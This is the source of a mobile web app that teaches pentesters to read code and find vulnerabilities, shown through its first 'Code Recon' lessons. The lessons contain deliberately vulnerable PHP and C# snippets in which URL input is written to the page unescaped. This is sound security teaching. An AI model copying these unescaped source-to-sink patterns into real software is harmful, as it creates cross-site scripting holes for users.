app.html

<title>codeLearn</title>
<meta name="theme-color" content="#0D1015">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="apple-mobile-web-app-title" content="codeLearn">
<link rel="manifest" href="manifest.json">
<link rel="apple-touch-icon" href="icons/apple-touch-icon.png">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght@600;700&family=IBM+Plex+Mono:wght@400;600&display=swap">
<style>
:root{
  --bg:#0D1015; --panel:#141A21; --panel2:#1B222C; --line:#28313D;
  --ink:#E9E6DE; --mut:#94A0AE; --amber:#F2A63B; --amber-dim:#8a5f22;
  --violet:#A18BFA; --good:#3FC98C; --bad:#E2594F; --teal:#2DD4BF;
  --kw:#7FB2F0; --str:#95CE84; --com:#5B6B7B; --num:#D89AF0; --vr:#EFA48B; --fn:#E8CE7A;
  --disp:'Chakra Petch',system-ui,sans-serif;
  --mono:'IBM Plex Mono',ui-monospace,SFMono-Regular,Menlo,monospace;
}
*{box-sizing:border-box}
html,body{height:100%}
body{
  margin:0; background:var(--bg); color:var(--ink);
  font:15px/1.55 -apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;
  -webkit-tap-highlight-color:transparent; overscroll-behavior-y:contain;
}
button{font:inherit;color:inherit;background:none;border:none;padding:0;cursor:pointer}
.wrap{max-width:560px;margin:0 auto;padding:0 16px 104px}
/* ---------- app bar ---------- */
.appbar{
  position:sticky; top:env(safe-area-inset-top,0px); z-index:20;
  background:linear-gradient(180deg,var(--bg) 82%,rgba(13,16,21,0));
  padding:10px 0 12px;
}
.appbar .row{display:flex;align-items:center;gap:10px}
.logo{font-family:var(--disp);font-weight:700;font-size:19px;letter-spacing:.02em}
.logo em{font-style:normal;color:var(--amber)}
.logo .cursor{display:inline-block;width:9px;height:17px;background:var(--amber);margin-left:3px;vertical-align:-2px;animation:blink 1.2s steps(2) infinite}
@keyframes blink{50%{opacity:0}}
@media (prefers-reduced-motion:reduce){.logo .cursor{animation:none}}
.spacer{flex:1}
.streak{display:flex;align-items:center;gap:5px;font-family:var(--disp);font-weight:600;font-size:14px;color:var(--amber);background:var(--panel);border:1px solid var(--line);border-radius:999px;padding:4px 12px}
.streak.cold{color:var(--mut)}
.xpline{display:flex;align-items:center;gap:10px;margin-top:9px}
.rank{font-family:var(--disp);font-weight:600;font-size:12px;letter-spacing:.08em;text-transform:uppercase;color:var(--violet);white-space:nowrap}
.xpbar{flex:1;height:6px;border-radius:3px;background:var(--panel2);overflow:hidden}
.xpbar i{display:block;height:100%;border-radius:3px;background:linear-gradient(90deg,var(--violet),var(--amber));transition:width .5s ease}
.xpnum{font-family:var(--mono);font-size:11px;color:var(--mut);white-space:nowrap;font-variant-numeric:tabular-nums}
/* ---------- bottom nav ---------- */
.tabbar{
  position:fixed;left:0;right:0;bottom:0;z-index:30;
  background:rgba(20,26,33,.96);backdrop-filter:blur(10px);
  border-top:1px solid var(--line);
  padding:8px 8px calc(8px + env(safe-area-inset-bottom,0px));
}
.tabbar .inner{max-width:560px;margin:0 auto;display:flex}
.tab{flex:1;display:flex;flex-direction:column;align-items:center;gap:3px;color:var(--mut);font-family:var(--disp);font-size:11px;font-weight:600;letter-spacing:.05em;padding:4px 0;border-radius:10px}
.tab svg{width:22px;height:22px;stroke:currentColor;fill:none;stroke-width:1.8;stroke-linecap:round;stroke-linejoin:round}
.tab.on{color:var(--amber)}
/* ---------- generic ---------- */
h1.pg{font-family:var(--disp);font-size:24px;font-weight:700;margin:14px 0 4px;text-wrap:balance}
.sub{color:var(--mut);margin:0 0 18px;max-width:46ch}
.sect{font-family:var(--disp);font-size:12px;font-weight:600;letter-spacing:.12em;text-transform:uppercase;color:var(--mut);margin:26px 0 10px}
.card{background:var(--panel);border:1px solid var(--line);border-radius:14px;padding:16px;margin-bottom:12px}
.tap{display:block;width:100%;text-align:left;transition:transform .08s ease}
.tap:active{transform:scale(.985)}
.chip{display:inline-block;font-family:var(--mono);font-size:10.5px;padding:2px 8px;border-radius:999px;border:1px solid var(--line);color:var(--mut);background:var(--panel2)}
.chip.amber{color:var(--amber);border-color:var(--amber-dim)}
.chip.violet{color:var(--violet);border-color:#4a3f86}
.chip.good{color:var(--good);border-color:#1e5f44}
.chip.bad{color:var(--bad);border-color:#6e2b26}
.btn{
  display:block;width:100%;text-align:center;font-family:var(--disp);font-weight:700;font-size:15px;
  letter-spacing:.03em;background:var(--amber);color:#171208;border-radius:12px;padding:14px 18px;margin-top:14px;
}
.btn:active{transform:scale(.98)}
.btn.ghost{background:var(--panel2);color:var(--ink);border:1px solid var(--line)}
.btn.danger{background:none;border:1px solid #6e2b26;color:var(--bad)}
.btn[disabled]{opacity:.4;pointer-events:none}
.back{display:inline-flex;align-items:center;gap:6px;color:var(--mut);font-family:var(--disp);font-weight:600;font-size:13px;margin-top:12px}
.pbar{height:5px;border-radius:3px;background:var(--panel2);overflow:hidden}
.pbar i{display:block;height:100%;background:var(--amber);border-radius:3px;transition:width .4s}
.pbar.v i{background:var(--violet)}
/* ---------- track / lesson lists ---------- */
.trackcard{display:flex;align-items:center;gap:14px}
.tricon{
  width:44px;height:44px;border-radius:11px;flex:none;display:flex;align-items:center;justify-content:center;
  font-family:var(--mono);font-weight:600;font-size:13px;border:1px solid var(--line);background:var(--panel2);
}
.tricon.accent{color:var(--good)}
.tricon svg{width:23px;height:23px;display:block}
.trmeta{flex:1;min-width:0}
.trname{font-family:var(--disp);font-weight:700;font-size:16px}
.trsub{font-size:12.5px;color:var(--mut);margin:1px 0 7px}
.count{font-family:var(--mono);font-size:11px;color:var(--mut);white-space:nowrap;font-variant-numeric:tabular-nums}
.lrow{display:flex;align-items:center;gap:12px}
.lstate{width:34px;height:34px;border-radius:50%;flex:none;display:flex;align-items:center;justify-content:center;border:1px solid var(--line);background:var(--panel2);font-family:var(--mono);font-size:12px;color:var(--mut)}
.lstate.done{background:#153526;border-color:#1e5f44;color:var(--good)}
.lstate.next{background:#33270f;border-color:var(--amber-dim);color:var(--amber)}
.lrow.locked{opacity:.45}
.lname{font-weight:600;font-size:14.5px}
.lxp{font-family:var(--mono);font-size:11px;color:var(--mut)}
/* ---------- code ---------- */
.codebox{
  background:#0A0D12;border:1px solid var(--line);border-radius:10px;
  margin:12px 0 4px;overflow-x:auto;
}
.codebox pre{margin:0;padding:12px 14px;font:12.5px/1.65 var(--mono);white-space:pre;min-width:min-content}
.codebox .lang{display:block;font:10px/1 var(--mono);color:var(--com);padding:8px 14px 0;letter-spacing:.1em;text-transform:uppercase}
.tk-kw{color:var(--kw)} .tk-str{color:var(--str)} .tk-com{color:var(--com)}
.tk-num{color:var(--num)} .tk-var{color:var(--vr)} .tk-fn{color:var(--fn)}
code.inl{font:12.5px var(--mono);background:var(--panel2);border:1px solid var(--line);border-radius:5px;padding:1px 5px;color:var(--amber)}
/* hunt code lines */
.hline{display:flex;width:100%;text-align:left;font:12.5px/1.7 var(--mono);white-space:pre;border-left:3px solid transparent}
.hline .no{flex:none;width:34px;padding-left:10px;color:#3d4856;user-select:none;font-variant-numeric:tabular-nums}
.hline .src{padding-right:14px}
.hline:active{background:#161d26}
.hline.hit{background:#15301f;border-left-color:var(--good)}
.hline.miss{background:#331a17;border-left-color:var(--bad)}
/* ---------- quiz ---------- */
.opt{
  display:block;width:100%;text-align:left;background:var(--panel);border:1px solid var(--line);
  border-radius:12px;padding:13px 14px;margin-bottom:10px;font-size:14px;
}
.opt .key{font-family:var(--mono);font-size:11px;color:var(--mut);margin-right:8px}
.opt.right{border-color:var(--good);background:#12291d}
.opt.wrong{border-color:var(--bad);background:#2c1714}
.opt.dim{opacity:.5}
.explain{border-left:3px solid var(--amber);background:var(--panel);border-radius:0 12px 12px 0;padding:12px 14px;font-size:13.5px;color:var(--ink);margin-top:4px}
.explain b{color:var(--amber)}
.qmeta{display:flex;align-items:center;gap:10px;margin:16px 0 10px}
.qmeta .pbar{flex:1}
.hearts{font-family:var(--mono);font-size:13px;color:var(--bad);letter-spacing:2px}
/* ---------- results / profile ---------- */
.bignum{font-family:var(--disp);font-weight:700;font-size:44px;color:var(--amber);line-height:1.1}
.center{text-align:center}
.resultcard{padding:28px 16px}
.badgegrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(150px,1fr));gap:10px}
.badge{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px}
.badge.off{opacity:.38}
.badge .bi{font-size:20px}
.badge .bn{font-family:var(--disp);font-weight:600;font-size:13px;margin:6px 0 2px}
.badge .bd{font-size:11.5px;color:var(--mut)}
.statrow{display:flex;gap:10px}
.stat{flex:1;background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px;text-align:center}
.stat .v{font-family:var(--disp);font-weight:700;font-size:22px;color:var(--amber)}
.stat .k{font-size:11px;color:var(--mut);letter-spacing:.05em;text-transform:uppercase}
/* toast */
#toast{
  position:fixed;left:50%;bottom:calc(84px + env(safe-area-inset-bottom,0px));transform:translateX(-50%) translateY(20px);
  background:var(--panel2);border:1px solid var(--amber-dim);color:var(--ink);
  font-family:var(--disp);font-weight:600;font-size:14px;border-radius:999px;padding:10px 20px;
  opacity:0;pointer-events:none;transition:all .3s ease;z-index:50;white-space:nowrap;max-width:92vw;
}
#toast.show{opacity:1;transform:translateX(-50%) translateY(0)}
#updatebar{
  position:fixed;left:0;right:0;top:0;z-index:60;transform:translateY(-120%);transition:transform .35s ease;
  background:var(--amber);color:#171208;font-family:var(--disp);font-weight:700;font-size:13.5px;letter-spacing:.02em;
  text-align:center;padding:calc(11px + env(safe-area-inset-top,0px)) 16px 11px;cursor:pointer;
  box-shadow:0 6px 20px rgba(0,0,0,.4);
}
#updatebar.show{transform:translateY(0)}
#backupModal{position:fixed;inset:0;z-index:70;background:rgba(5,7,10,.72);display:flex;align-items:flex-end;justify-content:center}
#backupModal .sheet{width:100%;max-width:560px;background:var(--panel);border:1px solid var(--line);border-radius:18px 18px 0 0;padding:20px 16px calc(20px + env(safe-area-inset-bottom,0px));max-height:88vh;overflow-y:auto}
.sheettitle{font-family:var(--disp);font-weight:700;font-size:18px;margin-bottom:6px}
.backupta{width:100%;min-height:118px;background:#0A0D12;border:1px solid var(--line);border-radius:10px;color:var(--ink);font:12px/1.5 var(--mono);padding:10px;resize:vertical;-webkit-user-select:text;user-select:text}
.sheetbtns{display:flex;flex-wrap:wrap;gap:8px}
.sheetbtns .btn{flex:1;min-width:130px}
.refs{margin-top:14px;border:1px solid var(--line);border-radius:12px;padding:12px 14px;background:var(--panel)}
.refslabel{font-family:var(--disp);font-size:11px;font-weight:700;letter-spacing:.1em;text-transform:uppercase;color:var(--violet);margin-bottom:8px}
.reflink{display:flex;align-items:center;justify-content:space-between;gap:10px;text-decoration:none;color:var(--ink);font-size:13.5px;padding:9px 0;border-top:1px solid var(--line)}
.reflink:first-of-type{border-top:none}
.reflink .arw{color:var(--mut);font-size:14px;flex:none}
.reflink:active{color:var(--amber)}
.flink{display:inline-flex;align-items:center;gap:6px;color:var(--violet);font-size:13px;font-weight:600;text-decoration:none;padding:4px 2px;margin:2px 0 12px;cursor:pointer;border-bottom:1px dashed rgba(161,139,250,.45)}
.flink:active{color:var(--amber);border-bottom-color:rgba(242,166,59,.5)}
.codebox.corr{border-color:#1e5f44}
.codebox.corr .lang{color:var(--good)}
.trackrefs{margin:30px 2px 4px;padding-top:18px;border-top:1px solid var(--line)}
.trackrefs-h{font-family:var(--disp);font-size:12px;font-weight:600;letter-spacing:.12em;text-transform:uppercase;color:var(--mut);margin-bottom:12px}
.treflist{list-style:none;margin:0;padding:0}
.treflist li{position:relative;padding:7px 0 7px 20px;font-size:13.5px;line-height:1.45}
.treflist li+li{border-top:1px dashed var(--line)}
.treflist li::before{content:"↗";position:absolute;left:2px;top:7px;color:var(--mut);font-size:11px}
.treflist a{color:var(--violet);text-decoration:none}
.treflist a:active{color:var(--amber)}
/* language-basics grid tiles (teal theme, distinct from the security tracks) */
.basicsgrid{display:grid;grid-template-columns:1fr 1fr;gap:10px;margin-bottom:4px}
.basicscard{display:block;text-align:left;border-radius:14px;padding:14px;border:1px solid #1f5f63;background:linear-gradient(150deg,#0e3033,#0b2124);color:var(--ink);transition:transform .08s ease}
.basicscard:active{transform:scale(.98)}
.bc-icon{font-family:var(--mono);font-weight:600;font-size:13px;width:38px;height:38px;border-radius:10px;display:flex;align-items:center;justify-content:center;background:rgba(45,212,191,.16);border:1px solid #1f5f63;color:var(--teal);margin-bottom:10px}
.bc-icon .bc-img{width:24px;height:24px;object-fit:contain;display:block}
.bc-name{font-family:var(--disp);font-weight:700;font-size:15px;line-height:1.15}
.bc-count{font-family:var(--mono);font-size:11px;color:var(--mut);margin:3px 0 9px;font-variant-numeric:tabular-nums}
.bc-bar{height:5px;border-radius:3px;background:rgba(0,0,0,.32);overflow:hidden}
.bc-bar i{display:block;height:100%;border-radius:3px;background:linear-gradient(90deg,var(--teal),#7fe3c0)}
/* language fact file */
.factfile{border:1px solid #1f5f63;background:linear-gradient(150deg,#0e2e31,var(--panel));border-radius:14px;padding:14px 16px;margin:2px 0 20px}
.ff-note{font-size:13px;color:var(--ink);line-height:1.5;margin-bottom:12px}
.ff-grid{display:grid;grid-template-columns:1fr 1fr 1fr;gap:8px}
.ff-cell{background:rgba(0,0,0,.22);border-radius:9px;padding:8px 10px;min-width:0}
.ff-k{font-family:var(--disp);font-size:9.5px;font-weight:600;letter-spacing:.06em;text-transform:uppercase;color:var(--teal)}
.ff-v{font-family:var(--mono);font-size:11.5px;color:var(--ink);margin-top:3px;line-height:1.3}
.ff-link{display:inline-block;margin-top:12px;font-size:12.5px;color:var(--teal);text-decoration:none}
.ff-link:active{color:var(--amber)}
.daily{border:1px solid var(--amber-dim);background:linear-gradient(160deg,#1d1608,var(--panel))}
.dailytag{font-family:var(--disp);font-size:11px;font-weight:700;letter-spacing:.14em;text-transform:uppercase;color:var(--amber);margin-bottom:6px}
kbd,strong{color:var(--ink)}
p{margin:.5em 0}
</style>
</head>
<body>


<header class="appbar"><div class="wrap" style="padding-bottom:0">
  <div class="row">
    <div class="logo">code<em>Learn</em><span class="cursor"></span></div>
    <div class="spacer"></div>
    <div class="streak" id="streakpill">⚑ 0</div>
  </div>
  <div class="xpline">
    <span class="rank" id="rankname">Script Kiddie</span>
    <div class="xpbar"><i id="xpfill" style="width:0%"></i></div>
    <span class="xpnum" id="xpnum">0 XP</span>
  </div>
</div></header>

<main class="wrap" id="view"></main>

<nav class="tabbar"><div class="inner">
  <button class="tab" data-tab="learn" aria-label="Learn">
    <svg viewBox="0 0 24 24"><path d="M4 19V6a2 2 0 0 1 2-2h13v13H6a2 2 0 0 0-2 2zm0 0a2 2 0 0 0 2 2h13"/><path d="M9 8h6M9 11h4"/></svg>
    LEARN</button>
  <button class="tab" data-tab="hunt" aria-label="Hunt">
    <svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="7"/><path d="M12 2v4M12 18v4M2 12h4M18 12h4"/><circle cx="12" cy="12" r="1.2" fill="currentColor"/></svg>
    HUNT</button>
  <button class="tab" data-tab="profile" aria-label="Rank">
    <svg viewBox="0 0 24 24"><path d="M12 3l2.1 4.6 5 .6-3.7 3.4 1 4.9L12 14l-4.4 2.5 1-4.9L4.9 8.2l5-.6z"/></svg>
    RANK</button>
</div></nav>

<div id="updatebar" onclick="applyUpdate()">↻ New version available — tap to update</div>
<div id="toast"></div>
<div id="backupModal" hidden onclick="if(event.target===this)closeBackup()">
  <div class="sheet">
    <div class="sheettitle" id="backupTitle">Backup</div>
    <div class="lxp" id="backupDesc" style="margin-bottom:10px"></div>
    <textarea id="backupText" class="backupta" spellcheck="false" autocapitalize="off" autocomplete="off"></textarea>
    <div class="lxp" id="backupStatus" style="min-height:16px;margin:8px 0"></div>
    <input type="file" id="backupFile" accept="application/json,.json,.txt" hidden onchange="handleBackupFile(this)">
    <div class="sheetbtns">
      <button class="btn ghost" id="backupCopy" onclick="copyBackup()" style="margin:0">Copy code</button>
      <button class="btn ghost" id="backupDownload" onclick="downloadBackup()" style="margin:0">Download file</button>
      <button class="btn ghost" id="backupFileBtn" onclick="document.getElementById('backupFile').click()" style="margin:0">Load file</button>
      <button class="btn" id="backupRestore" onclick="restoreBackup()" style="margin:0">Restore</button>
    </div>
    <button class="btn ghost" onclick="closeBackup()" style="margin-top:10px">Close</button>
  </div>
</div>

<script>
'use strict';
/* =========================================================
   codeLearn — teach a pentester to read code & spot vulns
   ========================================================= */

/* ---------- tiny syntax highlighter ---------- */
const KW = {
  php:'php echo print include include_once require require_once if else elseif foreach as function return while for new class public private protected true false null die exit isset empty use namespace extends static global try catch switch case break',
  csharp:'using namespace class public private protected static void string int var bool return if else for foreach in new null true false async await try catch throw get set readonly interface override',
  cpp:'include define int char void return if else for while new delete sizeof struct class public private const unsigned long double float bool true false nullptr using namespace std size_t uint16_t uint32_t',
  js:'const let var function return if else for while new class this document window true false null undefined async await try catch import from export typeof require module',
  python:'def return if elif else for in while import from as class with try except raise True False None print lambda pass not and or is global del yield',
  java:'import public private protected class static final void String int long boolean var return if else for while do new null true false try catch finally throw throws this extends implements interface package abstract',
  sql:'select from where and or order by limit insert into values update set delete join inner left on union all as group having create table drop like',
  go:'package import func var const type struct interface map chan go defer return if else for range switch case break continue default nil true false string int int64 byte error bool make new append len cap',
  bash:'if then else elif fi for while do done case esac function in echo export local return exit read then set unset source'
};
function esc(s){return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');}
function hl(src,lang){
  lang = lang||'js';
  const kws = (KW[lang]||KW.js).split(' ');
  const kwRe = kws.join('|');
  const flags = lang==='sql' ? 'gi' : 'g';
  const re = new RegExp(
    '(\\/\\*[\\s\\S]*?\\*\\/|\\/\\/[^\\n]*|#[^\\n]*|--[^\\n]*)'+   // 1 comment
    '|("(?:[^"\\\\\\n]|\\\\.)*"|\'(?:[^\'\\\\\\n]|\\\\.)*\')'+     // 2 string
    '|(\\$\\w+|@\\w+)'+                                            // 3 var/attr
    '|\\b(\\d[\\d._]*)\\b'+                                        // 4 number
    '|\\b('+kwRe+')\\b'+                                           // 5 keyword
    '|\\b(\\w+)(?=\\()'                                            // 6 fn call
  ,flags);
  return esc(src).replace(re,(m,com,str,vr,num,kw,fn)=>{
    if(com!==undefined){
      // '#include' in C++ is not a comment; '#' comments only for php/python/bash
      const hashLang = (lang==='php'||lang==='python'||lang==='bash');
      if(com[0]==='#' && !hashLang) return m;
      if(com.slice(0,2)==='--' && lang!=='sql') return m;
      if(com[0]==='#' && hashLang) return '<span class="tk-com">'+com+'</span>';
      if(com.slice(0,2)==='--' && lang==='sql') return '<span class="tk-com">'+com+'</span>';
      return '<span class="tk-com">'+com+'</span>';
    }
    if(str!==undefined) return '<span class="tk-str">'+str+'</span>';
    if(vr !==undefined) return '<span class="tk-var">'+vr+'</span>';
    if(num!==undefined) return '<span class="tk-num">'+num+'</span>';
    if(kw !==undefined) return '<span class="tk-kw">'+kw+'</span>';
    if(fn !==undefined) return '<span class="tk-fn">'+fn+'</span>';
    return m;
  });
}
function codebox(src,lang,label){
  return '<div class="codebox"><span class="lang">'+(label||lang)+'</span><pre>'+hl(src,lang)+'</pre></div>';
}
/* like codebox but with line numbers down the left (static, non-interactive) */
function codeboxNumbered(src,lang,label,extra){
  const rows=src.split('\n').map((ln,i)=>
    '<div class="hline"><span class="no">'+(i+1)+'</span><span class="src">'+hl(ln,lang)+'</span></div>').join('');
  return '<div class="codebox'+(extra?' '+extra:'')+'"><span class="lang">'+(label||langName(lang))+'</span>'+
    '<pre style="padding:6px 0 10px">'+rows+'</pre></div>';
}

/* ---------- ranks & badges ---------- */
const RANKS = [
  [0,'Script Kiddie'],[120,'Recruit'],[300,'Code Reader'],[600,'Analyst'],
  [1000,'Bug Hunter'],[1500,'Exploit Dev'],[2200,'Red Teamer'],[3000,'APT Operator']
];
/* monochrome line icons for the non-basics track rows (inherit .tricon color) */
const TRACK_SVG = {
  webpat:'<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round"><circle cx="12" cy="12" r="7"/><circle cx="12" cy="12" r="2.5"/><path d="M12 1.5v3.5M12 19v3.5M1.5 12h3.5M19 12h3.5"/></svg>',
  crypto:'<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="10.5" width="14" height="9.5" rx="2"/><path d="M8 10.5V8a4 4 0 0 1 8 0v2.5"/></svg>',
  audit:'<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M2 12s3.5-7 10-7 10 7 10 7-3.5 7-10 7S2 12 2 12z"/><circle cx="12" cy="12" r="2.8"/></svg>',
  breach:'<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M8.5 14.5A2.5 2.5 0 0 0 11 12c0-1.38-.5-2-1-3-1.072-2.143-.224-4.054 2-6 .5 2.5 2 4.9 4 6.5 2 1.6 3 3.5 3 5.5a7 7 0 1 1-14 0c0-1.153.433-2.294 1-3a2.5 2.5 0 0 0 2.5 2.5z"/></svg>',
  exploit:'<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M13 2 4.5 13H11l-1 9 8.5-11.5H12z"/></svg>'
};
const GREEN_GROUPS = {'Attack patterns & real-world':1, 'Exploitation':1};
const BASICS_ICONS = {
  phpbasics:'icons/language_icons/php-32px.png',
  pybasics:'icons/language_icons/python-32px.png',
  jsbasics:'icons/language_icons/javascript-32px.png',
  nodebasics:'icons/language_icons/nodedotjs-32px.png',
  cbasics:'icons/language_icons/c-32px.png'
};
const BADGES = [
  {id:'first',  ic:'🩸', n:'First Blood',   d:'Complete your first lesson'},
  {id:'recon',  ic:'🔭', n:'Recon Done',    d:'Finish the Code Recon track'},  {id:'polyglot',ic:'🌐', n:'Polyglot',     d:'Finish a lesson in 3 languages'},
  {id:'eagle',  ic:'🎯', n:'Eagle Eye',    d:'Ace a code review with no misses'},
  {id:'five',   ic:'🔎', n:'Reviewer',     d:'Clear 5 review challenges'},
  {id:'allhunt',ic:'🏆', n:'Lead Auditor', d:'Clear every review challenge'},
  {id:'week',   ic:'⚑',  n:'Week Warrior', d:'Keep a 7-day streak'},
  {id:'grind',  ic:'⚡', n:'Grinder',      d:'Earn 1,000 XP'},
  {id:'scholar',ic:'🎓', n:'Scholar',      d:'Complete every lesson'},
  {id:'daily',  ic:'📅', n:'On Target',    d:'Clear a Daily Target challenge'}
];

/* ---------- version ---------- */
const APP_VERSION='1.12.1';

/* ---------- persistent state ---------- */
const KEY='codelearn.v1';
let S = {xp:0, done:{}, hunts:{}, streak:{last:'',n:0}, badges:{}, daily:''};
try{ const raw=localStorage.getItem(KEY); if(raw) S=Object.assign(S,JSON.parse(raw)); }catch(e){}
function save(){ try{ localStorage.setItem(KEY,JSON.stringify(S)); }catch(e){} }

function today(){ const d=new Date(); return d.getFullYear()+'-'+String(d.getMonth()+1).padStart(2,'0')+'-'+String(d.getDate()).padStart(2,'0'); }
function yesterday(){ const d=new Date(Date.now()-864e5); return d.getFullYear()+'-'+String(d.getMonth()+1).padStart(2,'0')+'-'+String(d.getDate()).padStart(2,'0'); }

function rankInfo(xp){
  let cur=RANKS[0], next=null;
  for(const r of RANKS){ if(xp>=r[0]) cur=r; else { next=r; break; } }
  return {name:cur[1], base:cur[0], next};
}
function addXP(n){
  const before=rankInfo(S.xp).name;
  S.xp+=n;
  const t=today();
  if(S.streak.last!==t){
    S.streak.n = (S.streak.last===yesterday()) ? S.streak.n+1 : 1;
    S.streak.last=t;
  }
  const after=rankInfo(S.xp).name;
  save(); renderHeader();
  if(after!==before) toast('▲ Rank up: '+after);
  checkBadges();
}
function grant(id){
  if(S.badges[id]) return;
  S.badges[id]=Date.now(); save();
  const b=BADGES.find(x=>x.id===id);
  if(b) setTimeout(()=>toast(b.ic+' Badge: '+b.n),700);
}
function checkBadges(){
  const doneIds=Object.keys(S.done);
  if(doneIds.length>0) grant('first');
  const langsDone=new Set();
  for(const t of TRACKS){
    const fin=t.lessons.filter(l=>S.done[l.id]).length;
    if(fin>0 && t.id!=='recon') langsDone.add(t.id);
    if(fin===t.lessons.length && t.id==='recon') grant('recon');
  }
  if(langsDone.size>=3) grant('polyglot');
  const solved=Object.values(S.hunts).filter(h=>h.solved);
  if(solved.length>=5) grant('five');
  if(solved.length===HUNTS.length) grant('allhunt');
  if(solved.some(h=>h.perfect)) grant('eagle');
  if(S.streak.n>=7) grant('week');
  if(S.xp>=1000) grant('grind');
  if(TRACKS.every(t=>t.lessons.every(l=>S.done[l.id]))) grant('scholar');
}

/* ---------- toast ---------- */
let toastT=null;
function toast(msg){
  const el=document.getElementById('toast');
  el.textContent=msg; el.classList.add('show');
  clearTimeout(toastT); toastT=setTimeout(()=>el.classList.remove('show'),2400);
}

/* ---------- header ---------- */
function renderHeader(){
  const r=rankInfo(S.xp);
  document.getElementById('rankname').textContent=r.name;
  document.getElementById('xpnum').textContent=S.xp+' XP';
  const span=r.next? (r.next[0]-r.base) : 1;
  const pct=r.next? Math.min(100,Math.round((S.xp-r.base)/span*100)) : 100;
  document.getElementById('xpfill').style.width=pct+'%';
  const sp=document.getElementById('streakpill');
  const active=(S.streak.last===today());
  sp.textContent='⚑ '+S.streak.n;
  sp.classList.toggle('cold',!active);
}

/* ---------- router ---------- */
let view={name:'learn'};
function go(v){ view=v; render(); window.scrollTo(0,0); }
function setTab(name){
  document.querySelectorAll('.tab').forEach(b=>b.classList.toggle('on',b.dataset.tab===name));
}
document.querySelectorAll('.tab').forEach(b=>{
  b.addEventListener('click',()=>go({name:b.dataset.tab}));
});

function render(){
  const root=document.getElementById('view');
  if(view.name==='learn'){ setTab('learn'); root.innerHTML=vHome(); }
  else if(view.name==='track'){ setTab('learn'); root.innerHTML=vTrack(view.trackId); }
  else if(view.name==='lesson'){ setTab('learn'); root.innerHTML=vLesson(); }
  else if(view.name==='hunt'){ setTab('hunt'); root.innerHTML=vHuntList(); }
  else if(view.name==='huntplay'){ setTab('hunt'); root.innerHTML=vHuntPlay(); }
  else if(view.name==='profile'){ setTab('profile'); root.innerHTML=vProfile(); }
  bindView(root);
}
/* delegate clicks via data-act attributes */
function bindView(root){
  root.querySelectorAll('[data-act]').forEach(el=>{
    el.addEventListener('click',()=>handleAct(el));
  });
}

/* =========================================================
   CURRICULUM
   Each lesson: id, name, xp, cards[]  (a card = teach step)
   card types:  {t:'read', lang, code, note}      -> annotated code
                {t:'md', html}                     -> explanation
                {t:'quiz', q, opts[], a, why}      -> single MCQ
   ========================================================= */
const TRACKS = [
 {
  id:'recon', name:'Code Recon', tag:'START HERE', icon:'{ }', accent:'amber',
  sub:'Read any code even if you have never programmed.',
  lessons:[
   {id:'r1', name:'What code actually is', xp:20, cards:[
     {t:'md',html:'<p>Code is a <b>list of instructions</b> a computer runs top to bottom. As a pentester you rarely need to <i>write</i> it — you need to answer three questions:</p><p>1. Where does <b>input</b> come from?<br>2. What does the code <b>do</b> with it?<br>3. Where does it <b>end up</b> (a database, a file, the page, a shell)?</p><p>That path — <b>source → processing → sink</b> — is the whole game. A vulnerability is almost always <b>untrusted input reaching a dangerous sink without being cleaned.</b></p>'},
     {t:'read',lang:'php',label:'PHP — read it like a sentence',code:'$name = $_GET["name"];        // SOURCE: from the URL\n$greeting = "Hello " . $name;  // processing: glue strings\necho $greeting;                // SINK: printed to the page',note:'<code class="inl">$_GET["name"]</code> is user input from the URL. It is glued into a string, then <code class="inl">echo</code> writes it to the page. Input flows straight to output untouched — remember that shape.'},
     {t:'quiz',q:'In the code above, which part is the <b>source</b> of untrusted data?',
      opts:['The <code class="inl">echo</code> statement','<code class="inl">$_GET["name"]</code>','The string "Hello "','The variable <code class="inl">$greeting</code>'],a:1,
      why:'<b>$_GET</b> reads values straight from the URL query string. Anything a user can control is a source — and the URL is fully attacker-controlled.'}
   ]},
   {id:'r2', name:'Variables, strings & concatenation', xp:20, cards:[
     {t:'md',html:'<p>A <b>variable</b> is a labeled box holding a value. Different languages mark them differently — spotting them is step one to reading unfamiliar code:</p><p>• PHP: <code class="inl">$user</code> (dollar sign)<br>• C# / C++: <code class="inl">string user</code> (type then name)<br>• Python / JS: <code class="inl">user = ...</code> (just a name)</p><p><b>Concatenation</b> means joining strings. Watch for it around commands and queries — that is often where attacker input gets welded into something dangerous.</p>'},
     {t:'read',lang:'csharp',label:'C# — same idea, different syntax',code:'string user = Request.Query["u"];   // source\nstring msg  = "Welcome, " + user;   // + joins strings\nResponse.Write(msg);                // sink'},
     {t:'quiz',q:'Across PHP, C#, and Python, what is the common tell that a value is a <b>variable</b> holding data rather than a fixed keyword?',
      opts:['It is always UPPERCASE','It gets assigned a value and is reused by name','It is inside quotes','It ends in a semicolon'],a:1,
      why:'A variable is <b>named and assigned</b>, then referred to later by that name. The exact syntax varies, but the "store a value, reuse it by name" pattern is universal.'}
   ]},
   {id:'r3', name:'Functions & what they return', xp:25, cards:[
     {t:'md',html:'<p>A <b>function</b> is a named block of reusable code. You <i>call</i> it by name with <code class="inl">( )</code>, optionally passing <b>arguments</b> inside. It may <b>return</b> a value back.</p><p>For a pentester, functions are the vocabulary. You do not memorize a language — you learn which function <b>names</b> are dangerous. <code class="inl">system()</code>, <code class="inl">eval()</code>, <code class="inl">query()</code>: the name tells you what sink you are looking at.</p>'},
